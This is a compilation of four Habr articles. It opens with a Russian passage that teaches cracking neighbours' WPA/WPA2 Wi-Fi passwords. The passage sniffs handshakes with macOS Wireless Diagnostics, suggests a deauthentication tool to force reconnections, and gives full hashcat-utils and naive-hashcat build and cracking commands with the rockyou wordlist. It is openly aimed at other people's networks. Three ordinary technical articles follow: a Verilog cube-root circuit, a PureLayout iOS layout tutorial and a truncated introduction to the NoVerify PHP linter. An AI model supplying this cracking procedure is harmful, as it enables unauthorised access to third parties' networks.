И да, я солгал в своём первом абзаце про «дешифрацию», это техническая ошибка и подмена понятий. Конечно, дешифровать хэш невозможно. Это как говорить «лицензия такси», зная, что деятельность такси в РФ не лицензируется. Но просто так удобней )
Так вот. Всё, что нам надо — это найти среди траффика радиосети вокруг себя рукопожатия и «дешифровать» их. И раньше была куча софта для всего это. Кто-то умел грамотно сканировать радиоканал, кто-то отлично его сниффал в дампы, кто-то находил хэши в дампах, кто-то умел их ломать. Сейчас всё стало проще, благодаря Тиму Куку. 90% работы за стороннее ПО делает стандартное приложение «Беспроводная диагностика». Многие его видели — когда проблемы с Wi-Fi, мак предлагает проверить сеть. Бесполезная утилита, которая даёт советы типа «перезагрузите роутер». Ну, т.е. мне так казалось )
### Добываем пароли. Соседи вешайтесь ;)
Итак, погнали. Зажимаем Alt и кликаем по логотипу Wi-Fi в верхней панели. Вообще Alt и клик всегда открывает дополнительные опции в MacOS, но это тема отдельного топика.
Помимо прочей доп.инфы, которая порой очень полезная, мы можем запустить программу «Беспроводная диагностика». Думаю, все кто пользуются маком, помнят это окно.
Но нас интересует другое. Кликаем по пункту меню «Окно» и видим набор дополнительных утилит.
И тут прям есть всё, что надо, даже больше ) Конкретно нас интересуют 2 пункта. Сканирование и Анализатор. Первый покажет нам все сети вокруг с доп.инфой, типа на каком канале и на какой частоте работает сеть. Второй пункт позволит сниффать трафик на конкретном канале и частоте.
Нажимая на кнопку «Начать» в Анализаторе, Wi-Fi-карточка переключится в режим приёма и начнёт сканировать радиочастоту вокруг себя, дамп будет писаться в /var/tmp.
Файлы \*.wcap это наши дампы, которые содержат бесполезный для нас траффик и нужные нам рукопожатия.
Надо понимать, что нам необходимо поймать именно рукопожатия. Т.е. нам надо поймать и сниффать траффик, когда сосед приходит домой вечером. Либо, если у вас есть ещё одно устройство на макоси, либо любой другой оси, вам помогут нюкеры. Программки, рассылающие поддельные команды деаунтефикации. Например, [JamWiFi](http://macheads101.com/pages/downloads/mac.php). Но это если прям совсем не терпится ) На моём опыте, достаточно просто запустить Анализатор в 6 вечера на часок.
Далее нам надо поставить [naive-hashcat](https://github.com/brannondorsey/naive-hashcat) и [hashcat-utils](https://github.com/hashcat/hashcat-utils/releases/).
«Стоп» скажите вы, «ты же обещал взлом сетей соседа стандартными методами?» ) Ха! И вы мне поверили?! На самом деле мы стандартными методами сделали 90% работы через GUI. У нас уже есть хэши, всё что нам надо — разбить их. Уверен, можно всё сделать и стандартными утилитами, но проще юзать hashcat. Собираем софт через brew или из сорцов. Первым делом нам надо конвертировать наш дамп, оставив в нём только наши хэши. Этим занимается бинарник cap2hccapx из пакета.
```
# Качаем hashcat-utils
git clone https://github.com/hashcat/hashcat-utils.git
Cloning into 'hashcat-utils'...
remote: Counting objects: 403, done.
remote: Total 403 (delta 0), reused 0 (delta 0), pack-reused 403
Receiving objects: 100% (403/403), 114.23 KiB | 61.00 KiB/s, done.
Resolving deltas: 100% (257/257), done.
# Собираем бины
cd hashcat-utils/src/ && make
rm -f ../bin/*
rm -f *.bin *.exe
cc -Wall -W -pipe -O2 -std=gnu99 -o cap2hccapx.bin cap2hccapx.c
cc -Wall -W -pipe -O2 -std=gnu99 -o cleanup-rules.bin cleanup-rules.c
…
cc -Wall -W -pipe -O2 -std=gnu99 -o strip-bsr.bin strip-bsr.c
cc -Wall -W -pipe -O2 -std=gnu99 -o strip-bsn.bin strip-bsn.c
# Конвертируем дамп
./cap2hccapx.bin /var/tmp/2018.01.25_00-37-45-GMT+3.wcap /var/tmp/home.hccapx
```
…
Мы видим, что успели перехватить 2 рукопожатия, попробуем «сломать их». Для этого нам нужен naive-hashcat:
```
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# Собираем софт для osx
./build-hashcat-osx.sh
# качаем вордлист для побора wpa/wpa2 сетей пароли (134MB)
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# указываем адрес нашего дампа и файл, куда будем писать подобранные пассы, 2500 это метка хэшкэту, что надо ломать именно WPA, ну и запускаем naive-hashcat
HASH_FILE=/var/tmp/home.hccapx POT_FILE=home-wifi.txt HASH_TYPE=2500 ./naive-hashcat.sh
```
Кошка пошла работать. В среднем у меня на маке я имею скорость в 2000 хешей в секунду, на скрине 7к, но это только старт. Судя по [этому документу](https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40), на 1080gtx можно получить скорость в 400к хешей в секунду. Однако у меня всего 2 рукопожатия и не такой уж и большой словарь, поэтому пробежаться по нему не составило проблем. Смотрим файл home-wifi.txt, вуаля:
Вот и всё. К сожалению, эта сеть через несколько квартир от меня и на другом этаже, пинг 7 секунд ) Надо ловить соседа снизу или брать внешнюю wi-fi-карту с нормальной антенной. Но принцип, думаю, понятен.
Удачных сканирований вам, юные ~~подованы~~ вардрайверы. И большое спасибо разработчикам ~~Kali Linux~~ MacOS за такие подарки.
Ну и вы найдёте много ещё интересного [тут](https://github.com/brannondorsey/wifi-cracking/blob/master/appendix.md). | https://habr.com/ru/post/347658/ | null | ru | null |
# Designing a circuit that calculates integer cube root
Good day everyone. In this article I will tell you how to make a circuit in Verilog HDL on FPGA which will calculate cube root from integer number.
I will write code in Quartus Prime Lite. My device is Cyclone IV E.
**Pins and declarations**
Firstly, let’s create our top level module and specify which input/output pins we will use:
Pins declaration part`module cube_root(`
`input clk, // Clock signal 50Mhz`
`input [7:0] number, // Input value`
`output reg [3:0] Anode_Activate, // Setter for activating segments`
`output reg [7:0] LED_out // Value on the segment`
`);`
Number - value from which we will extract cube root.
Anode\_Activate will specify currently activated segment of display. I will use only 3 segments: 1st for integer part of result, second and third for fractional. Last segment is not used but specified in order to make updating working properly.
LED\_out specifies which number will be shown one current segment.
clk – clock signal for updating segments.
There are also other terms which can be declared in program:
`reg [4:0] result1; // First segments's value`
`reg [4:0] result2; // Second segments's value`
`reg [4:0] result3; // Third segments's value`
`reg [4:0] LED_BCD; // Current segments's value (not used)`
`reg [19:0] refresh_counter; // Segmens update counter`
`wire [1:0] LED_activating_counter; // Segment activation counter`
result1 – result3 - for storing result of calculations.
LED\_BCD stores which of digits will be shown on activated segment.
About refresh\_counter and LED\_activating\_counter I will talk in the next part.
**Showing results on 7-segment display**
Cyclone IV can’t show several digits activated simultaneously, therefore I had to implement segments updater for it:
Updater`always @(posedge clk)`
`begin`
`refresh_counter <= refresh_counter + 1;`
`end`
`// Setting LED_activating_counter as 2 last bits of refresh_counter`
`// in order to update segments each 5.2 ms`
`assign LED_activating_counter = refresh_counter[19:18];`
LED\_activating\_counter will store 2 last bits of refresh\_counter. These bits will change their value from 00 to 11 each 2^18 / 50\*10^6 s = 5.2 ms.
Here is the code for setting currently activated segment according to LED\_activating\_counter:
Segment setter`// Setting one segment activated accorfing to LED_activating_counter`
`always @(*)`
`begin case(LED_activating_counter)`
`2'b00: begin`
`Anode_Activate = 4'b0111;`
`LED_BCD = result1;`
`LED_BCD[4] = 1; // This bit is responsible for showing dot`
`end`
`2'b01: begin`
`Anode_Activate = 4'b1011;`
`LED_BCD = result2;`
`LED_BCD[4] = 0;`
`end`
`2'b10: begin`
`Anode_Activate = 4'b1101;`
`LED_BCD = result3;`
`LED_BCD[4] = 0;`
`end`
`2'b11: begin`
`Anode_Activate = 4'b1110;`
`LED_BCD = 5'b01011;`
`end`
`endcase`
`end`
`// Setting value for activated segment`
`always @(*)`
`begin`
`case(LED_BCD)`
`5'b00000: LED_out = 8'b00000011; // "0"`
`5'b00001: LED_out = 8'b10011111; // "1"`
`5'b00010: LED_out = 8'b00100101; // "2"`
`5'b00011: LED_out = 8'b00001101; // "3"`
`5'b00100: LED_out = 8'b10011001; // "4"`
`5'b00101: LED_out = 8'b01001001; // "5"`
`5'b00110: LED_out = 8'b01000001; // "6"`
`5'b00111: LED_out = 8'b00011111; // "7"`
`5'b01000: LED_out = 8'b00000001; // "8"`
`5'b01001: LED_out = 8'b00001001; // "9"`
`5'b01011: LED_out = 8'b11111111; // " "`
`5'b10000: LED_out = 8'b00000010; // "0."`
`5'b10001: LED_out = 8'b10011110; // "1."`
`5'b10010: LED_out = 8'b00100100; // "2."`
`5'b10011: LED_out = 8'b00001100; // "3."`
`5'b10100: LED_out = 8'b10011000; // "4."`
`5'b10101: LED_out = 8'b01001000; // "5."`
`5'b10110: LED_out = 8'b01000000; // "6."`
`5'b10111: LED_out = 8'b00011110; // "7."`
`5'b11000: LED_out = 8'b00000000; // "8."`
`5'b11001: LED_out = 8'b00001000; // "9."`
`default: LED_out = 8'b00000000; // "8."`
`endcase`
`end`
**Calculating cube root**
Our number value will be input using pins using this scheme:
Maximum value of a number is 255, minimum – 0.
There already exists algorithm in a book Hacker’s Delight which can calculate cube root (code is in Java):
Java implementation of calculating cube root`public int cube_root(int val){`
`int s = 0;`
`int y = 0;`
`int b = 0;`
`for (s=30;s>=0;s=s-3){`
`y = 2*y;`
`b = (3*y*(y+1)+1) << s;`
`if (x>=b){`
`x = x-b;`
`y = y+1;`
`}`
`}`
`return y;`
`}`
But it can only output integer results. In order to overcome this restriction we need to multiply our input value by 10^(3\*n), n – natural number, and then split results into digits. Our n last digits will be fractional part. I decided to show results with 2 digits after point. It means that we need to multiply input value by 1 000 000.
Here is the code in Verilog:
Calculating cube root (Verilog)`// Calculating cube root of number`
`always@(*) begin : block_0`
`reg [31:0] x;`
`integer s;`
`integer y;`
`integer b;`
`integer i;`
`x = number;`
`x = x * 1_000_000;`
`y = 0;`
`for (s=30;s>=0;s=s-3)`
`begin : block_calc`
`y=y*2;`
`b = (3*y*(y+1)+1) << s;`
`if (x>=b)`
`begin : block_1`
`x = x-b;`
`y=y+1;`
`end`
`end`
`result1 = y / 100; // First digit`
`result2 = (y % 100)/10; // Second digit`
`result3 = y % 10; // Third digit`
`end`
The whole code of my project:
Code of the project`module cube_root(`
`input clk, // Clock signal 50Mhz`
`input [7:0] number, // Input value`
`output reg [3:0] Anode_Activate, // Setter for activating segments`
`output reg [7:0] LED_out // Value on the segment`
`);`
`reg [4:0] result1; // First segments's value`
`reg [4:0] result2; // Second segments's value`
`reg [4:0] result3; // Third segments's value`
`reg [4:0] LED_BCD; // Current segments's value (not used)`
`reg [19:0] refresh_counter; // Segmens update counter`
`wire [1:0] LED_activating_counter; // Segment activation counter`
`// Calculating cubic root of number`
`always@(*) begin : block_0`
`reg [31:0] x;`
`integer s;`
`integer y;`
`integer b;`
`integer i;`
`x = number;`
`x = x * 1_000_000;`
`y = 0;`
`for (s=30;s>=0;s=s-3)`
`begin : block_calc`
`y=y*2;`
`b = (3*y*(y+1)+1) << s;`
`if (x>=b)`
`begin : block_1`
`x = x-b;`
`y=y+1;`
`end`
`end`
`result1 = y / 100;`
`result2 = (y % 100)/10;`
`result3 = y % 10;`
`end`
`// Changing refresh_counter to update segments`
`always @(posedge clk)`
`begin`
`refresh_counter <= refresh_counter + 1;`
`end`
`// Setting LED_activating_counter as 2 last bits of refresh_counter`
`// in order to update segments each 5.2 ms`
`assign LED_activating_counter = refresh_counter[19:18];`
`// Setting one segment activated accorfing to LED_activating_counter`
`always @(*)`
`begin`
`case(LED_activating_counter)`
`2'b00: begin`
`Anode_Activate = 4'b0111;`
`LED_BCD = result1;`
`LED_BCD[4] = 1; // This bit is responsible for showing dot`
`end`
`2'b01: begin`
`Anode_Activate = 4'b1011;`
`LED_BCD = result2;`
`LED_BCD[4] = 0;`
`end`
`2'b10: begin`
`Anode_Activate = 4'b1101;`
`LED_BCD = result3;`
`LED_BCD[4] = 0;`
`end`
`2'b11: begin`
`Anode_Activate = 4'b1110;`
`LED_BCD = 5'b01011;`
`end`
`endcase`
`end`
`// Setting value for activated segment`
`always @(*)`
`begin`
`case(LED_BCD)`
`5'b00000: LED_out = 8'b00000011; // "0"`
`5'b00001: LED_out = 8'b10011111; // "1"`
`5'b00010: LED_out = 8'b00100101; // "2"`
`5'b00011: LED_out = 8'b00001101; // "3"`
`5'b00100: LED_out = 8'b10011001; // "4"`
`5'b00101: LED_out = 8'b01001001; // "5"`
`5'b00110: LED_out = 8'b01000001; // "6"`
`5'b00111: LED_out = 8'b00011111; // "7"`
`5'b01000: LED_out = 8'b00000001; // "8"`
`5'b01001: LED_out = 8'b00001001; // "9"`
`5'b01011: LED_out = 8'b11111111; // " "`
`5'b10000: LED_out = 8'b00000010; // "0."`
`5'b10001: LED_out = 8'b10011110; // "1."`
`5'b10010: LED_out = 8'b00100100; // "2."`
`5'b10011: LED_out = 8'b00001100; // "3."`
`5'b10100: LED_out = 8'b10011000; // "4."`
`5'b10101: LED_out = 8'b01001000; // "5."`
`5'b10110: LED_out = 8'b01000000; // "6."`
`5'b10111: LED_out = 8'b00011110; // "7."`
`5'b11000: LED_out = 8'b00000000; // "8."`
`5'b11001: LED_out = 8'b00001000; // "9."`
`default: LED_out = 8'b00000000; // "8."`
`endcase`
`end`
`endmodule`
**Pin assignments.**
Now, I have to specify which pins will be connected with declared ones in module. We can do it in pin planner:
**Results of our work.**
After compiling our project we can run it on FPGA. Here are photos with results of a program:
Useful links:
Lesson on how to deal with 7-segment display on Cyclone IV- [[FPGA Tutorial] Seven-Segment LED Display on Basys 3 FPGA - FPGA4student.com](https://www.fpga4student.com/2017/09/seven-segment-led-display-controller-basys3-fpga.html)
Algorithm for calculating cube root on C - [Пролистал 2-е издание Hacker’s Delight в поисках занятных задач для лабника по Verilog & FPGA — Silicon Russia & Ukraine (silicon-russia.com)](http://www.silicon-russia.com/2018/02/05/hackers-delight-2ed/) | https://habr.com/ru/post/532226/ | null | en | null |
# Создаем элементы интерфейса программно с помощью PureLayout (Часть 1)
Привет, Хабр! Представляю вашему вниманию перевод статьи [Creating UIViews Constraints Programmatically Using PureLayout](https://instabug.com/blog/nslayoutconstraint-programmatically/) автора Aly Yaka.
Сегодня я проведу вас через создание простого пользовательского интерфейса мобильного приложения кодом, без использования раскадровок или NIB'ов. Я не буду вдаваться в дискуссии о том, что лучше, потому что у всего есть свои плюсы и минусы, поэтому просто [оставлю ссылку, которая углубится в это дело](https://www.toptal.com/ios/ios-user-interfaces-storyboards-vs-nibs-vs-custom-code).
Во второй части этого руководства, мы создадим некоторые наиболее часто используемые элементы пользовательского интерфейса мобильного приложения кодом, включая панель навигации, представление таблицы и ячейки динамического размера.
Обзор
-----
Это руководство было написано с использованием Xcode 9 и Swift 4. Я также предполагаю, что вы знакомы с Xcode, Swift и CocoaPods.
Без дальнейшего промедления, давайте начнем создавать наш проект: простое приложение Contact Card. Цель данной статьи — научить вас, как создавать пользовательский интерфейс вашего приложения в коде, и поэтому он не будет содержать никакой логики в отношении функциональности приложения, если только это не нужно для целей данного руководства.
Создание constraints программно с PureLayout
--------------------------------------------
#### Настройка проекта
Начните с запуска Xcode -> «Создать новый проект Xcode». Выберите «Single View App» и нажмите «Next».
Назовите проект как хотите, я решил назвать его «ContactCard». Снимите все три опции ниже и выберите Swift в качестве языка программирования, затем нажмите «Далее».
Выберите место на вашем компьютере, чтобы сохранить проект. Снимите флажок «Create Git Repository on my Mac».
Так как мы не будем использовать Storyboards или NIB'ы в этом проекте, удалите «Main.storyboard», который можно найти в Project Navigator:
После этого нажмите на проект в навигаторе проектов и на вкладке «General» найдите раздел с информацией о развертывании и удалите все, что написано в «Main Interface». Это то, что сообщает Xcode, какой файл Storyboard загружать при запуске приложения, но поскольку мы просто удалили «Main.storyboard», Xcode не найдет этот файл, что приведет к падению приложения.
### Создание ViewController
Если вы сейчас запустите приложение, появится черный экран, так как у приложения теперь нет источника пользовательского интерфейса, поэтому в следующей части мы создадим его. Откройте «AppDelegate.swift» и внутри `application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?)`, вставьте данный фрагмент кода:
```
self.window = UIWindow(frame: UIScreen.main.bounds)
let viewController = ViewController()
self.window?.rootViewController = viewController
self.window?.makeKeyAndVisible()
```
Этот код обеспечивает окно для взаимодействия пользователя с приложением, которое обычно можно найти в «ViewController.swift». Для быстрой проверки того, что все работает, перейдите к «ViewController.swift» и в методе `viewDidLoad()` вставьте следующую строку:
```
self.view.backgroundColor = .blue
```
Теперь запустите приложение.
Для навигации между файлами в Xcode используйте горячие клавиши — «⇧⌘O», а затем введите имя файла или даже фрагмент кода, который вы ищете, и на экране появится список файлов, из которых вы можете выбрать.
После запуска приложения это должно быть результатом на экране вашего симулятора:
Конечно, мы не будем использовать этот отвратительный синий, поэтому просто измените фон на белый, заменив `.blue` на `.white` внутри `viewDidLoad ()`.
### Разработка UI
Для создания нашего пользовательского интерфейса мы будем использовать [библиотеку](https://github.com/PureLayout/PureLayout), которая сделает нашу жизнь намного проще. Чтобы установить PureLayout, вы должны сначала открыть свой терминал и набрав cd, затем пробел, перетащите папку вашего проекта в терминал и нажмите «Enter». Теперь выполните следующие команды внутри терминала:
* pod init
* pod install
Это должен быть вывод вашего терминала после выполнения второй команды:
После этого закройте Xcode, откройте папку в Finder, и вы должны найти «<имя вашего проекта> .xcworkspace». Это то, что мы откроем для доступа к нашему приложению, если нам когда-нибудь понадобится использовать CocoaPods. Теперь найдите файл с именем «PodFile» и напишите следующую строку под фразой `use_frameworks!`
```
pod “PureLayout”
```
Снова запустите `pod install` в своем терминале, а затем соберите свой проект, нажав «Command + B».
### Перерыв на кофе
Теперь, когда все настроено, давайте начнем с реальной работы. Перейдите на «ViewController.swift» и возьмите чашку кофе, потому что вот как будет выглядеть конечный результат:
### Создание ImageView
Вставьте строку `import PureLayout` под `import UIKit`, чтобы у вас появилась возможность использовать библиотеку в этом файле. Затем, под объявлением класса и вне любой функции, мы начнем с создания lazy (ленивой) переменной `Avatar ImageView` следующим образом:
```
lazy var avatar: UIImageView = {
let imageView = UIImageView(image: UIImage(named: "avatar.jpg"))
imageView.autoSetDimensions(to: CGSize(width: 128.0, height: 128.0))
imageView.layer.borderWidth = 3.0
imageView.layer.borderColor = UIColor.lightGray.cgColor
imageView.layer.cornerRadius = 64.0
imageView.clipsToBounds = true
return imageView
}()
```
Что касается изображения, сохраните любое изображение на рабочем столе, которое вы будете использовать в качестве аватара, и перетащите его в XCode в папке <Имя вашего проекта>, которая в моем случае называется «ContactCard», и установите флажок «Copy items if needed».
После этого напишите имя этого файла вместе с его расширением в объявлении UIImage вместо «avatar.jpg».
Для тех из вас, кто не знает, lazy-переменные похожи на обычные переменные, за исключением того, что они не инициализируются (или не выделяется какое-либо пространство памяти) до тех пор, пока они не потребуются или не будут вызваны в первый раз. Это означает, что ленивые переменные не инициализируются при инициализации контроллера представления, а скорее ожидают более позднего момента, когда они действительно необходимы, что экономит вычислительную мощность и пространство памяти для других процессов. Это особенно полезно в случае инициализации компонентов пользовательского интерфейса.
### PureLayout в действии
Как вы можете видеть внутри инициализации, строка `imageView.autoSetDimensions (to: CGSize (width: 128.0, height: 128.0))` является PureLayout в действии. Одной строкой мы устанавливаем ограничение как для высоты, так и для ширины UIImageView, и все необходимые NSLayoutConstraints создаются без необходимости огромных вызовов функций. Если вы имели дело с созданием ограничений программным способом, то вы, скорее всего, уже влюбились в эту замечательную библиотеку.
Чтобы сделать это изображение круглым, мы устанавливаем его угловой радиус равным половине его ширины или высоты, которая составляет 64,0 точки. Кроме этого, устанавливаем для свойства `clipsToBounds` значение `true`, которое сообщает изображению, что оно должно обрезать все, что находится за пределами радиуса, который мы только что установили.
Затем мы переходим к созданию UIView, который будет служить верхней частью представления позади аватара, окрашенного в серый цвет. Объявим следующую ленивую переменную для этого представления:
```
lazy var upperView: UIView = {
let view = UIView()
view.autoSetDimension(.height, toSize: 128)
view.backgroundColor = .gray
return view
}()
```
### Добавление subviews
Прежде чем идти дальше, давайте создадим функцию `func addSubviews ()`, которая добавляет только что созданные нами представления (и все другие, которые мы собираемся создать) в качестве subviews к контроллеру представления:
```
func addSubviews() {
self.view.addSubview(avatar)
self.view.addSubview(upperView)
}
```
А теперь добавьте следующую строку в `viewDidLoad (): self.addSubviews ()`
### Настройка ограничений
Чтобы просто получить представление о том, как далеко мы продвинулись, давайте установим ограничения для этих двух видов. Создайте другую функцию с именем `func setupConstraints()` и вставьте следующие ограничения:
```
func setupConstraints() {
avatar.autoAlignAxis(toSuperviewAxis: .vertical)
avatar.autoPinEdge(toSuperviewEdge: .top, withInset: 64.0)
upperView.autoPinEdge(toSuperviewEdge: .left)
upperView.autoPinEdge(toSuperviewEdge: .right)
upperView.autoPinEdgesToSuperviewEdges(with: .zero, excludingEdge: .bottom)
}
```
Теперь внутри `viewDidLoad()` вызовите `setupConstraints()`, следующим образом: `self.setupConstraints()`. Добавьте это ПОСЛЕ вызова `addSubviews()`. Это должен быть окончательный вывод:
### Выводим аватар на передний план
К сожалению, это не то, что хотелось бы получить. Как видите, наш `upperView` лежит поверх аватара. Это связано с тем, что мы добавили аватар в качестве `subviews` перед `upperView`, и поскольку эти подпредставления расположены в некотором виде в стеке, получается такой результат. Чтобы исправить это, мы можем просто заменить эти две строки друг на друга, но есть еще одна хитрость, которую я хочу показать вам, а именно: `self.view.bringSubview (toFront: avatar)`.
Этот метод перенесет аватар с самого дна стека до вершины, так что выбирайте тот метод, который вам больше нравится. Конечно, для удобства чтения лучше добавить подпредставления в том порядке, в котором они должны отображаться, если они пересекаются, при этом следует помнить, что первое добавленное subviews будет находиться в нижней части стека, и поэтому любые другие пересекающиеся вьюхи появятся поверх него.
И вот как это должно выглядеть на самом деле:
### Создание сегментированного контроля
Далее мы создадим сегментированный элемент управления, который представляет собой серую полосу, содержащую три раздела. На самом деле сегментированный элемент управления создать просто. Сделайте следующее:
```
lazy var segmentedControl: UISegmentedControl = {
let control = UISegmentedControl(items: ["Personal", "Social", "Resumè"])
control.autoSetDimension(.height, toSize: 32.0)
control.selectedSegmentIndex = 0
control.layer.borderColor = UIColor.gray.cgColor
control.tintColor = .gray
return control
}()
```
Я считаю, что все понятно, единственное отличие состоит в том, что после инициализации мы предоставляем ему массив строк, каждая строка представляет собой заголовок одного из наших желаемых разделов. Мы также устанавливаем `selectedSegmentIndex` в 0, что говорит сегментированному элементу управления выделять/выбирать первый сегмент при инициализации. Остальное — просто стиль, с которым можно поиграться.
Теперь давайте продолжим и добавим его в качестве подпредставления, вставив следующую строку в конец функции `addCubviews(): self.view.addSubview(segmentedControl)` и его ограничения будут такими:
```
segmentedControl.autoPinEdge(toSuperviewEdge: .left, withInset: 8.0)
segmentedControl.autoPinEdge(toSuperviewEdge: .right, withInset: 8.0)
segmentedControl.autoPinEdge(.top, to: .bottom, of: avatar, withOffset: 16.0)
```
Мы говорим сегментированному элементу управления, что хотим прикрепить его к левой стороне его superview, однако мы хотим немного увеличить интервал, а не прикреплять его непосредственно к краю экрана. Если вы заметили, я использую так называемую сетку из восьми точек, где все расстояния и размеры кратны восьми. Я делаю то же самое с правой стороны сегментированного элемента управления. Что касается последнего ограничения, то он говорит прикрепить вершину к основанию аватара с интервалом в 16 точек.
После добавления указанных выше ограничений в `func setupConstraints()` запустите код и убедитесь, что он выглядит следующим образом:
### Добавление кнопки
Теперь перейдем к последней части пользовательского интерфейса учебника, которая представляет собой кнопку «Редактировать». Добавьте следующую lazy-переменную:
```
lazy var editButton: UIButton = {
let button = UIButton()
button.setTitle("Edit", for: .normal)
button.setTitleColor(.gray, for: .normal)
button.layer.cornerRadius = 4.0
button.layer.borderColor = UIColor.gray.cgColor
button.layer.borderWidth = 1.0
button.tintColor = .gray
button.backgroundColor = .clear
button.autoSetDimension(.width, toSize: 96.0)
button.autoSetDimension(.height, toSize: 32.0)
return button
}()
```
Не беспокойтесь о том, насколько большая инициализация, но обратите внимание на то, как я устанавливаю заголовок и его цвет, вызывая функции `button.setTitle` и `button.setTitleColor`. По определенным причинам мы не можем установить заголовок кнопки, напрямую обращаясь к ее `titleLabel`, и это потому что для кнопки существуют разные состояния, и многим было бы удобно иметь разные заголовки/цвета для разных состояний.
Теперь добавьте кнопку как subview, как и остальные компоненты, и добавьте следующие ограничения, чтобы она появилась там, где должна быть:
```
editButton.autoPinEdge(.top, to: .bottom, of: upperView, withOffset: 16.0)
editButton.autoPinEdge(toSuperviewEdge: .right, withInset: 8.0)
```
Здесь мы устанавливаем только правые и верхние ограничения для кнопки, т.к мы дали ей размер, она не будет расширяться и больше ничего не понадобится. Теперь запустите проект, чтобы увидеть конечный результат:
### Несколько последних заметок
Попрактикуйтесь, добавьте столько элементов интерфейса, сколько хотите. Создайте представления любого приложения, которые вы считаете сложными. Начните с простого и постепенно наращивайте сложность. Попробуйте нарисовать компоненты пользовательского интерфейса на листе бумаги, чтобы представить, как они сочетаются друг с другом.
[Во второй части](https://habr.com/ru/post/447374/) я расширяю это руководство для создания панели навигации, табличного представления и ячеек динамического размера в коде. | https://habr.com/ru/post/444854/ | null | ru | null |
# NoVerify: линтер для PHP от Команды ВКонтакте теперь в открытом доступе
Расскажу, как нам удалось написать линтер, который получился достаточно быстрым, чтобы проверять изменения во время каждого git push и делать это за 5−10 секунд при кодовой базе в 5 миллионов строк на PHP. Мы назвали его NoVerify.
NoVerify поддерживает базовые вещи вроде перехода к определению и поиску использований и умеет работать в режиме [Language Server](https://github.com/Microsoft/language-server-protocol/blob/master/versions/protocol-2-x.md). В первую очередь наш инструмент ориентирован на поиск потенциальных ошибок, но умеет проверять и стилистику. Сегодня его исходные коды появились в open-source на GitHub. Ищите ссылку в конце статьи.
Зачем нам свой линтер
---------------------
В середине 2018 года мы решили, что пора внедрять линтер для PHP-кода. Цели было две: уменьшить количество ошибок, которые видят пользователи, и строже следить за соблюдением code style. Основной упор при этом мы сделали на предотвращение типичных ошибок: наличия в коде необъявленных и неиспользуемых переменных, недостижимого кода и других. Также хотелось, чтобы статический анализатор работал максимально быстро на нашей кодовой базе (5−6 миллионов строк кода на PHP на момент написания статьи).
Как вы, вероятно, знаете, исходный код большей части сайта написан на PHP и компилируется с помощью [KPHP](https://habr.com/ru/company/vk/blog/214877/), поэтому логично было бы добавить эти проверки в компилятор. Но на самом деле не весь код имеет смысл выполнять через KPHP — например, компилятор слабо совместим со сторонними библиотеками, так что для некоторых частей сайта до сих пор используется обычный PHP. Они тоже важны и должны проверяться линтером, поэтому, к сожалению, нет возможности встроить его в KPHP.
Почему NoVerify
---------------
Учитывая объем PHP-кода (напомню, это 5−6 миллионов строк), не представляется возможным «исправить» его сразу, чтобы он проходил наши же проверки в линтере. Тем не менее хочется, чтобы меняющийся код постепенно становился чище и строже следовал стандартам кодирования, а также содержал меньше ошибок. Поэтому мы решили, что линтер должен уметь проверять изменения, которые разработчик собирается запушить, и не ругаться на остальное.
Чтобы это сделать, линтеру нужно проиндексировать весь проект, полностью проанализировать файлы до изменений и после и посчитать разницу между сгенерированными предупреждениями. Новые предупреждения показываются разработчику, и мы требуем их исправить перед тем, как можно будет сделать push.
Но бывают ситуации, когда такое поведение нежелательно, и тогда разработчики могут выполнить push без локальных хуков — с помощью команды `git push --no-verify`. Опция `--no-verify` и дала название линтеру :)
Какие были альтернативы
-----------------------
Кодовая база в VK мало использует ООП и в основном состоит из функций и классов со статическими методами. Если классы в PHP поддерживают autoload, то функции — нет. Поэтому мы не можем без существенных модификаций использовать статические анализаторы, которые основывают свою работу на том, что autoload загрузит весь недостающий код. К таким линтерам относится, например, [psalm от компании Vimeo](https://psalm.dev/).
Мы рассмотрели следующие инструменты статического анализа:
* [PHPStan](https://github.com/phpstan/phpstan) — однопоточный, требует autoload, анализ кодовой базы дошел до 30% за полчаса;
* [Phan](https://github.com/phan/phan) — даже в quick-режиме с 20 процессами анализ застопорился на 5% через 20 минут;
* [Psalm](https://psalm.dev/) — требует autoload, анализ занял 10 минут (всё равно хотелось бы намного быстрее);
* [PHPCS](https://github.com/squizlabs/PHP_CodeSniffer) — проверяет стиль, но не логику;
* [phpcf](https://github.com/badoo/phpcf) — проверяет только форматирование.
Как можно догадаться из заголовка статьи, ни один из этих инструментов не удовлетворяет нашим требованиям, поэтому мы написали свой.
Как создавался прототип
-----------------------
Сначала мы решили построить небольшой прототип, чтобы понять, стоит ли вообще пытаться сделать полноценный линтер. Поскольку одно из важных требований к линтеру — это скорость его работы, вместо PHP мы выбрали Go. «Быстро» — это давать фидбэк разработчику как можно оперативнее, желательно не более чем за 10−20 секунд. В противном случае цикл «поправить код, прогнать линтер ещё раз» начинает существенно замедлять разработку и портить настроение людям :)
Поскольку для прототипа выбран Go, нужен парсер PHP. Таких существует несколько, но наиболее зрелым нам показался проект [php-parser](https://github.com/z7zmey/php-parser). Этот парсер не идеален и всё ещё дорабатывается, но для наших целей он вполне подошёл.
Для прототипа было решено попробовать реализовать одну из самых простых, на первый взгляд, инспекций: обращение к неопределённой переменной.
Основная идея для реализации такой инспекции выглядит просто: для каждого ветвления (например, для if) создаём отдельную вложенную область видимости и объединяем типы переменных на выходе из неё. Пример:
```
php
if (rand()) {
$a = 42;
// область видимости: { $a: int }
} else {
$b = "test";
$a = "another_test";
// область видимости: { $b: string, $a: string }
}
// итоговая область видимости: { $b: string?, $a: int|string }
echo $a, $b;
// здесь мы должны вывести сообщение о том,
// что переменная $b не всегда определена
</code
```
Выглядит просто, не так ли? В случае обычных условных операторов всё работает хорошо. Но мы должны обрабатывать, например, switch без break;
```
php
switch (rand()) {
case 1:
$a = 1; // { $a: int }
case 2:
$b = 2; // { $a: int, $b: int }
default:
$c = 3; // { $a: int, $b: int, $c: int }
}
// { $a: int?, $b: int?, $c: int }
</code
```
По коду не сразу понятно, что $c будет на самом деле определена всегда. Конкретно этот пример — выдуманный, но он хорошо иллюстрирует, какие бывают сложные моменты для линтера (и для человека в данном случае тоже).
Рассмотрим более сложный пример:
```
php
exec("hostname", $out, $retval);
echo $out, $retval;
// { $out: ???, $retval: ??? }
</code
```
